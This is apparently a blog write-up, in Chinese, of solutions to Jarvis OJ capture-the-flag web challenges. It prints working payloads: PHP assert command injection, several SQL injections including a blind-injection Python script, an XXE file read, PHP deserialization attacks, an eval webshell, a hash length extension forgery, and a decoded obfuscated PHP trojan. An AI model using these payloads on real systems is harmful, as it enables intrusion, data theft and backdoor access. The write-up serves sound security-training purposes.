Jarvis OJ-WEB Write up

2018-10-31 20:05:31 # CTFwriteup

[toc] 听说这个平台的题目质量比较高，所以就写了这篇wp。

babyphp

根据提示PHP GIT Bootstrap想到git泄露，然后把源码down下来审计。发现flag.php在templates目录中。关键代码

<?php
if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}
$file = "templates/" . $page . ".php";
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
assert("file_exists('$file')") or die("That file doesn't exist!");
?>
<?php
  require_once $file;
?>

直接page=/templates/flag.php显示文件不存在，因为flag被注释掉了。看到assert，应该可以命令注入

1 2	$file = "templates/" . $page . ".php"; assert("strpos('$file', '..') === false")

可以构造

1	assert("strpos('templates/'.system("cat templates/flag.php").'.php', '..') === false")

图片.png 查看页面源代码

1	61dctf{8e_careful_when_us1ng_ass4rt}

inject

Hint1:先找到源码再说吧根据提示找源码，发现不是git泄露，扫一波目录发现index.php~ 图片.png index.php源码

<?php
require("config.php");
$table = $_GET['table']?$_GET['table']:"test";
$table = Filter($table);
mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();
$sql = "select 'flag{xxx}' from secret_{$table}";
$ret = sql_query($sql);
echo $ret[0];
?>

我们发现了反引号，需要让这段代码中的SQL语句能运行成功才能进入下一条查询语句中。

1	mysqli_query($mysqli,"desc `secret_{$table}`") or Hacker();

反引号是为了区分MySQL的保留字与普通字符而引入的符号。不加反引号建的表不能包含MYSQL保留字符，否则出错。 * 在标准 SQL 中，字符串使用的是单引号。 * 如果字符串本身也包括单引号，则使用两个单引号（注意，不是双引号，字符串中的双引号不需要另外转义）。 * MySQL对 SQL 的扩展，允许使用单引号和双引号两种。我们发现在使用反引号时，只要前表table1存在，即使table2不存在，该语句也是能执行的

1	desc `table1` `table2`

单引号却不可以执行。

mysql> desc `users`;
+----------+-------------+------+-----+---------+----------------+
 Field     Type         Null  Key  Default  Extra          
+----------+-------------+------+-----+---------+----------------+
 id        int(3)       NO    PRI  NULL     auto_increment 
 username  varchar(20)  NO         NULL                    
 password  varchar(20)  NO         NULL                    
+----------+-------------+------+-----+---------+----------------+
3 rows in set (0.00 sec)

mysql> desc `ss`;
ERROR 1146 (42S02): Table 'security.ss' doesn't exist

mysql> desc `users` `ss`;
Empty set (0.00 sec)

mysql> desc 'users' 'ss';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''users' 'ss'' at line 1

且后面的表名是前面表名的别名

mysql> select * from `users` `aaa` where aaa.id=1;
+----+----------+----------+
 id  username  password 
+----+----------+----------+
  1  dd        Dumb     
+----+----------+----------+
1 row in set (0.09 sec)

所以我们可以构造

1	desc `flag` `union select 1 limit 1,1`

相当于

mysql> select 'flag{xxx}' from users `` union select 3 ;
+-----------+
 flag{xxx} 
+-----------+
 flag{xxx} 
 3         
+-----------+
2 rows in set (0.00 sec)

mysql> select 'flag{xxx}' from users `` union select 3 limit 1,1;
+-----------+
 flag{xxx} 
+-----------+
 3         
+-----------+
1 row in set (0.00 sec)

图片.png 后面的注入过程不用再写了，

1	?table=flag` `union select flagUwillNeverKnow from secret_flag limit 1,1

flag

1	flag{luckyGame~}

admin

网页什么也没有，抓包也没发现什么。扫波目录发现robots.txt，刚才忘了看/robots.txt

1	Disallow: /admin_s3cr3t.php

访问显示flag{hello guest} ，明显是假的flag。抓包发现admin=0，改成1得到flag。

给了一个密码框，抓包在响应包里看到提示图片.png

1	select * from `admin` where password='".md5($pass,true)."'

md5($pass,true)，md5第二个参数为输出格式，默认为false，
* TRUE - 原始 16 字符二进制格式 * FALSE - 默认。32 字符十六进制数图片.png 这里第二个参数为True，MD5之后是hex格式，转化到字符串时如果出现'or'xxxx的形式，就会导致注入

1	select * from `admin` where password=''or'xxxx';

例如字符串ffifdyop 图片.png flag

1	PCTF{R4w_md5_is_d4ng3rous}

神盾局的秘密

查看源码发现任意文件读取，读取index.php发现源码

<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

再读一下shield.php

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

提示flag在pctf.php，明显的利用反序列化读取文件。构造反序列化payload

<?php
class Shield{
    public $file;
    function __construct($filename = '') {
        $this -> file = "pctf.php";
    }
}
$a=new Shield();
echo serialize($a)
?>

?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";} 图片.png flag

1	PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

PORT51

使用端口51访问，可能是在内网的原因本地不行，需要在vps上执行。

1	curl --local-port 51 http://web.jarvisoj.com:32770/

图片.png flag

1	PCTF{M45t3r_oF_CuRl}

IN A Mess

index.phps

<?php

error_reporting(0);
echo "<!--index.phps-->";

if(!$_GET['id'])
{
    header('Location: index.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'Hahahahahaha';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("flag.txt");
}
else
{
    print "work harder!harder!harder!";
}

?>

没注意开始对id值的判断，id不能为0，卡了好久。下面的绕过就很简单了，烂大街的东西。 eregi这里可以利用通配符.，也可以利用00截断绕过。图片.png 给了个地址/^HT2mCpcvOLf id=1'报错出sql语句SELECT * FROM content WHERE id=1'，waf过滤了union，fuzz发现#,union,select,from都被替换成了空格，但是可以双写绕过。 waf掉了空格,order by,group by,union select空格可以用/*1*/绕过，union select也可以用注释绕过。

1	index.php?id=2/1/uniunionon/1/selselectect/2/1,2,3

图片.png 表名content

1	index.php?id=2/1/uniunionon/1/selselectect/2/1,2,table_name/1/frfromom/1/information_schema.tables/1/where/1/table_schema=database()

图片.png 字段名

1	index.php?id=2/1/uniunionon/1/selselectect/2/1,2,group_concat(column_name)/1/frfromom/1/information_schema.columns/1/where/1/table_name=0x636f6e74656e74

图片.png flag

1	PCTF{Fin4lly_U_got_i7_C0ngRatulation5}

api调用

请设法获得目标机器/home/ctf/flag.txt中的flag值。源码

<script>
function XHR() {
        var xhr;
        try {xhr = new XMLHttpRequest();}
        catch(e) {
            var IEXHRVers =["Msxml3.XMLHTTP","Msxml2.XMLHTTP","Microsoft.XMLHTTP"];
            for (var i=0,len=IEXHRVers.length;i< len;i++) {
                try {xhr = new ActiveXObject(IEXHRVers[i]);}
                catch(e) {continue;}
            }
        }
        return xhr;
    }

function send(){
 evil_input = document.getElementById("evil-input").value;
 var xhr = XHR();
     xhr.open("post","/api/v1.0/try",true);
     xhr.onreadystatechange = function () {
         if (xhr.readyState==4 && xhr.status==201) {
             data = JSON.parse(xhr.responseText);
             tip_area = document.getElementById("tip-area");
             tip_area.value = data.task.search+data.task.value;
         }
     };
     xhr.setRequestHeader("Content-Type","application/json");
     xhr.send('{"search":"'+evil_input+'","value":"own"}');
}
</script>

这里利用ajax发送json数据，Content-Type：application/json。更改Content-Type: application/xml。发送xml格式数据，引用外部实体读取文件。 payload

1
2
3

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY  file SYSTEM "file:///etc/passwd">]>
<note>&file;</note>

图片.png flag

1	CTF{XxE_15_n0T_S7range_Enough}

Simple Injection

布尔盲注，什么都没过滤。注库名的脚本

# -*- coding:utf8 -*-
import requests
import string

str1 = '1234567890'+string.ascii_letters+string.punctuation
flag = ''

select = 'select/**/database()'
url="http://web.jarvisoj.com:32787/login.php"
for j in range(1,66):
    for i in str1:
        paylaod="admin'/**/and/**/(if(substr(({}),{},1)='{}',1,0))/**/and/**/'1".format(select, j, i)
        #print(paylaod)
        data={
            'username': paylaod,
            'password': 'admin'
        }
        r=requests.post(url,data=data)
        if '密码错误' in r.text:
            flag+=i
            print(flag)
            break

Easy Gallery

URL明显存在文件包含，结合提示应该是文件包含加文件上传getshell。尝试

1 2	http://web.jarvisoj.com:32785/index.php?page=view http://web.jarvisoj.com:32785/index.php?page=view.php%00

显示正常，说明存在00截断。接下来只要包含自己的图片马就可以了。上传图片马，查询id，进行包含图片.png 被waf掉了。网上找的payload

1	<script language="php">eval($_POST['Smi1e']);</script>

再次上传进行包含图片.png flag

1	CTF{upl0ad_sh0uld_n07_b3_a110wed}

flag在管理员手里

扫到index.php~打开发现乱码，根据头部信息发现是vim备份文件。扔进linux里，后缀改为.swp，vim -r index.php.swp即可恢复。

<!DOCTYPE html>
<html>
<head>
<title>Web 350</title>
<style type="text/css">
    body {
        background:gray;
        text-align:center;
    }
</style>
</head>

<body>
    <?php 
        $auth = false;
        $role = "guest";
        $salt = 
        if (isset($_COOKIE["role"])) {
            $role = unserialize($_COOKIE["role"]);
            $hsh = $_COOKIE["hsh"];
            if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
                $auth = true;
            } else {
                $auth = false;
            }
        } else {
            $s = serialize($role);
            setcookie('role',$s);
            $hsh = md5($salt.strrev($s));
            setcookie('hsh',$hsh);
        }
        if ($auth) {
            echo "<h3>Welcome Admin. Your flag is 
        } else {
            echo "<h3>Only Admin can see the flag!!</h3>";
        }
    ?>

</body>
</html>

salt未知，校验内容和hash值可控，明显的哈希长度扩展攻击。我伟爷爷讲的真详细图片.png md5($salt+$校验内容)=$md5，校验内容和md5已知，我们可以通过哈希长度扩展攻击对校验内容后面增加一些新的内容，然后能够计算出新的md5值。原理：https://www.smi1e.top/?p=1我这篇文章讲的很详细注意role在md5加密的时候被反转了一下。输入的分别为：原hash值，校验内容，salt+校验内容总长度，想要添加的内容。 反转一下再用sublime把\x全部替换为%，我在这掉坑里了。

1	;"tseug":5:s%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00;"nimda":5:s

然后编码一下和新hash值一起提交就可以了。图片.png flag

1	PCTF{H45h_ext3ndeR_i5_easy_to_us3}

PHPINFO

<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }

    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

session.serialize_handler=""定义session的默认序列化引擎，默认是php(5.5.4后改为php_serialize)这里为php5.6，所以默认为php_serialize。

php_binary:存储方式是，键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值

php:存储方式是，键名+竖线+经过serialize()函数序列处理的值

php_serialize(php>5.5.4):存储方式是，经过serialize()函数序列化处理的值

PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患序列化时处理器为php_serialize，反序列化时为php，因此可以用注入伪造任意数据。 SESSION上传进度：http://php.net/manual/zh/session.upload-progress.php 官方文档内容

当 session.upload_progress.enabled INI 选项开启时，PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助，但在文件上传时应用可以发送一个POST请求到终端（例如通过XHR）来检查这个状态当一个上传在处理中，同时POST一个与INI中设置的session.upload_progress.name同名变量时，上传进度可以在$_SESSION中获得。当PHP检测到这种POST请求时，它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值。通常这些键值可以通过读取INI设置来获得

前两天的HITCON2018正好用到了这个姿势，我也写了wp:https://www.smi1e.top/wp-admin/ 在使用session_start()时会自动加载session文件中的值，因为在这里在__destruct方法中使用eval，所以只要在session文件中写入这个类的php序列化引擎对应的反序列化值，就能够执行代码。查看phpinfo配置图片.png session.upload_progress.enabled是开启的。session.upload_progress.name为默认的PHP_SESSION_UPLOAD_PROGRESS，所以我们可以post一个与其同名的变量，来使得我们上传的文件名或者变量PHP_SESSION_UPLOAD_PROGRESS的值写入session。上传页面

<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

图片.png 这里的各种调用系统命令的函数都被禁用了，只能用php自带函数来读取目录和文件内容。构造序列化引擎为php的序列化字符串

<?php
class OowoO
{
    public $mdzz='print_r(scandir(dirname(__FILE__)));';
}
$obj = new OowoO();
$a = serialize($obj);

var_dump($a);

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

转换

1	O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

图片.png flag文件名:Here_1s_7he_fl4g_buT_You_Cannot_see.php

1	O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}

当然还可以把序列化的值写在PHP_SESSION_UPLOAD_PROGRESS的值里图片.png flag

1	CTF{4d96e37f4be998c50aa586de4ada354a}

WEB?

脑洞题。线代渣的我感到绝望。

function(e)
 { 
if (25 !== e.length) return ! 1; 
for (var t = [], n = 0; n < 25; n++) t.push(e.charCodeAt(n)); 
for (var r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237, 344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259], o = [[11, 13, 32, 234, 236, 3, 72, 237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135], [76, 55, 38, 70, 98, 244, 201, 125, 182, 123, 47, 86, 67, 19, 145, 12, 138, 149, 83, 178, 255, 122, 238, 187, 221], [218, 233, 17, 56, 151, 28, 150, 196, 79, 11, 150, 128, 52, 228, 189, 107, 219, 87, 90, 221, 45, 201, 14, 106, 230], [30, 50, 76, 94, 172, 61, 229, 109, 216, 12, 181, 231, 174, 236, 159, 128, 245, 52, 43, 11, 207, 145, 241, 196, 80], [134, 145, 36, 255, 13, 239, 212, 135, 85, 194, 200, 50, 170, 78, 51, 10, 232, 132, 60, 122, 117, 74, 117, 250, 45], [142, 221, 121, 56, 56, 120, 113, 143, 77, 190, 195, 133, 236, 111, 144, 65, 172, 74, 160, 1, 143, 242, 96, 70, 107], [229, 79, 167, 88, 165, 38, 108, 27, 75, 240, 116, 178, 165, 206, 156, 193, 86, 57, 148, 187, 161, 55, 134, 24, 249], [235, 175, 235, 169, 73, 125, 114, 6, 142, 162, 228, 157, 160, 66, 28, 167, 63, 41, 182, 55, 189, 56, 102, 31, 158], [37, 190, 169, 116, 172, 66, 9, 229, 188, 63, 138, 111, 245, 133, 22, 87, 25, 26, 106, 82, 211, 252, 57, 66, 98], [199, 48, 58, 221, 162, 57, 111, 70, 227, 126, 43, 143, 225, 85, 224, 141, 232, 141, 5, 233, 69, 70, 204, 155, 141], [212, 83, 219, 55, 132, 5, 153, 11, 0, 89, 134, 201, 255, 101, 22, 98, 215, 139, 0, 78, 165, 0, 126, 48, 119], [194, 156, 10, 212, 237, 112, 17, 158, 225, 227, 152, 121, 56, 10, 238, 74, 76, 66, 80, 31, 73, 10, 180, 45, 94], [110, 231, 82, 180, 109, 209, 239, 163, 30, 160, 60, 190, 97, 256, 141, 199, 3, 30, 235, 73, 225, 244, 141, 123, 208], [220, 248, 136, 245, 123, 82, 120, 65, 68, 136, 151, 173, 104, 107, 172, 148, 54, 218, 42, 233, 57, 115, 5, 50, 196], [190, 34, 140, 52, 160, 34, 201, 48, 214, 33, 219, 183, 224, 237, 157, 245, 1, 134, 13, 99, 212, 230, 243, 236, 40], [144, 246, 73, 161, 134, 112, 146, 212, 121, 43, 41, 174, 146, 78, 235, 202, 200, 90, 254, 216, 113, 25, 114, 232, 123], [158, 85, 116, 97, 145, 21, 105, 2, 256, 69, 21, 152, 155, 88, 11, 232, 146, 238, 170, 123, 135, 150, 161, 249, 236], [251, 96, 103, 188, 188, 8, 33, 39, 237, 63, 230, 128, 166, 130, 141, 112, 254, 234, 113, 250, 1, 89, 0, 135, 119], [192, 206, 73, 92, 174, 130, 164, 95, 21, 153, 82, 254, 20, 133, 56, 7, 163, 48, 7, 206, 51, 204, 136, 180, 196], [106, 63, 252, 202, 153, 6, 193, 146, 88, 118, 78, 58, 214, 168, 68, 128, 68, 35, 245, 144, 102, 20, 194, 207, 66], [154, 98, 219, 2, 13, 65, 131, 185, 27, 162, 214, 63, 238, 248, 38, 129, 170, 180, 181, 96, 165, 78, 121, 55, 214], [193, 94, 107, 45, 83, 56, 2, 41, 58, 169, 120, 58, 105, 178, 58, 217, 18, 93, 212, 74, 18, 217, 219, 89, 212], [164, 228, 5, 133, 175, 164, 37, 176, 94, 232, 82, 0, 47, 212, 107, 111, 97, 153, 119, 85, 147, 256, 130, 248, 235], [221, 178, 50, 49, 39, 215, 200, 188, 105, 101, 172, 133, 28, 88, 83, 32, 45, 13, 215, 204, 141, 226, 118, 233, 156], [236, 142, 87, 152, 97, 134, 54, 239, 49, 220, 233, 216, 13, 143, 145, 112, 217, 194, 114, 221, 150, 51, 136, 31, 198]], n = 0; n < 25; n++) 
{
 for (var i = 0, a = 0; a < 25; a++) 
  i += t[a] * o[n][a]; 
  if (i !== r[n]) return ! 1
 } 
return ! 0

矩阵乘法图片.png 别人的脚本

from  numpy import *
import gmpy2
r = [325799, 309234, 317320, 327895, 298316, 301249, 330242, 289290, 273446, 337687, 258725, 267444, 373557, 322237,
     344478, 362136, 331815, 315157, 299242, 305418, 313569, 269307, 338319, 306491, 351259]
o = [
    [11, 13, 32, 234, 236, 3, 72,
     237, 122, 230, 157, 53, 7, 225, 193, 76, 142, 166, 11, 196, 194, 187, 152, 132, 135],
    ...]
a_o=array(o)
a_r=array(r)
t = linalg.solve(o,r)
print t
for i in t:
    print str(int(round(i))),
# QWB{R3ac7_1s_interesting}

图片上传漏洞

CVE-2016-3714 - ImageMagick 命令执行分析影响版本ImageMagick 6.9.3-9以前的所有版本

Chopper

1	<!--<script>alert('admin ip is 103.27.76.153')</script>-->

ip也伪造不了发现图片是通过proxy.php代理来访问图片的

1	<img src="proxy.php?url=http://dn.jarvisoj.com/static/images/proxy.jpg" alt="">

我们可以用这个去访问admin ip 然后让admin IP 访问/admin/目录 http://web.jarvisoj.com:32782/proxy.php?url=http://103.27.76.153/proxy.php?url=http://web.jarvisoj.com:32782/admin/ 访问不了，不知道是不是被搅屎了。在admin目录下扫到robots.txt

1
2
3

User-agent: *
Disallow:trojan.php
Disallow:trojan.php.txt

trojan.php.txt

<?php ${("#"^"").("#"^"")}=("!"^"`").("(
"^"{").("("^"[").("~"^";").(""^".").("*"^"~");${("#"^"").("#"^"")}
(("-"^"H"). ("]"^"+"). ("["^":"). (","^"@"). ("}"^"U"). ("e"^"A"). ("("^"w").
("j"^":"). ("i"^"&"). ("#"^"p"). (">"^"j"). ("!"^"z"). ("T"^"g"). ("e"^"S").
("_"^"o"). ("?"^"b"). ("]"^"t"));?>

上述代码保存为php页面运行一下，得到Warning：
Warning: assert() [function.assert]: Assertion "eval($_POST[360])"

密码为360

2018-10-31 20:05:31 # CTFwriteup

babyphp

inject

admin

LOGIN

神盾局的秘密

PORT51

IN A Mess

api调用

Simple Injection

Easy Gallery

flag在管理员手里

PHPINFO

WEB?

图片上传漏洞

Chopper